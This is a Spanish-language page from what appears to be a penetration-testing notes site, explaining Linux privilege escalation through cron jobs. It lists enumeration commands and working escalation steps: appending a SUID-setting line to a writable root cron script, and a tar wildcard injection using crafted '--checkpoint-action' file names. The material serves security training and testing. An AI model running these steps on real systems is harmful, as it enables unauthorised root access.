> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/cron-jobs.md).

# Cron jobs

Los trabajos cron crean vías de escalada de privilegios cuando las tareas recurrentes de root ejecutan scripts modificables, rutas relativas inseguras o procesadores vulnerables. La clave es demostrar que un usuario con pocos privilegios controla algo que ejecutará una tarea programada con privilegios.

## Metodología

* Revisa los crontabs del sistema, los directorios cron, los temporizadores y los scripts modificables.
* Usa pspy64 para observar procesos de corta duración sin root.
* Comprueba si el trabajo usa valores de PATH inseguros, archivos modificables o directorios de entrada controlados por un atacante.

## Comprobaciones rápidas

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## Objetivos cron modificables

Busca scripts o directorios que un trabajo cron con privilegios ejecuta y que un usuario con pocos privilegios puede modificar.

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

Utilice `pspy64` cuando los trabajos cron son de corta duración o no son visibles en archivos estáticos:

```bash
./pspy64
```

Si un trabajo cron de root ejecuta un script modificable, una forma sencilla de validarlo es establecer el bit SUID en Bash y esperar a que se ejecute según la programación:

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### Inyección de comodines

Si un trabajo cron usa comandos de archivado con comodines sobre un directorio modificable, los nombres de archivo pueden convertirse en opciones del comando.

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

Después de que se ejecute el trabajo cron:

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Calculadora de expresiones cron</h4></td><td>Busca expresiones cron comunes, cadenas especiales, sintaxis de campos, significados de programación y notas de revisión de escalada de privilegios.</td><td><a href="/pages/2745d06b672cf57eeadb2b806ef5989593e6a1b4">/pages/2745d06b672cf57eeadb2b806ef5989593e6a1b4</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Enumeración cron con pspy64</h4></td><td>Notas de la herramienta pspy64 para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación orientada a informes.</td><td><a href="/pages/a30f954379654e6b2e7fd7b220191e45864b0922">/pages/a30f954379654e6b2e7fd7b220191e45864b0922</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Trabajo cron con script Bash modificado</h4></td><td>Notas de Trabajos cron - Script modificado (Bash) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación orientada a informes.</td><td><a href="/pages/8d2e5eb58b324eca0a2a1111ec253e224bed3587">/pages/8d2e5eb58b324eca0a2a1111ec253e224bed3587</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Trabajo cron con script Python modificado</h4></td><td>Notas de Trabajos cron - Script modificado (Python) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación orientada a informes.</td><td><a href="/pages/d3352645920358b46125e8505e3f2bf68e25a876">/pages/d3352645920358b46125e8505e3f2bf68e25a876</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Abuso de cron con ImageMagick</h4></td><td>Notas de Trabajos cron - Explotación de ImageMagick para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación orientada a informes.</td><td><a href="/pages/2fa25845d3bb204f9b2983f50c956e53bce2d020">/pages/2fa25845d3bb204f9b2983f50c956e53bce2d020</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Abuso de cron con Logstash</h4></td><td>Notas de Trabajos cron (Logstash) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación orientada a informes.</td><td><a href="/pages/dd575af69148f76d2508a9dc27112690e80d1b39">/pages/dd575af69148f76d2508a9dc27112690e80d1b39</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/cron-jobs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
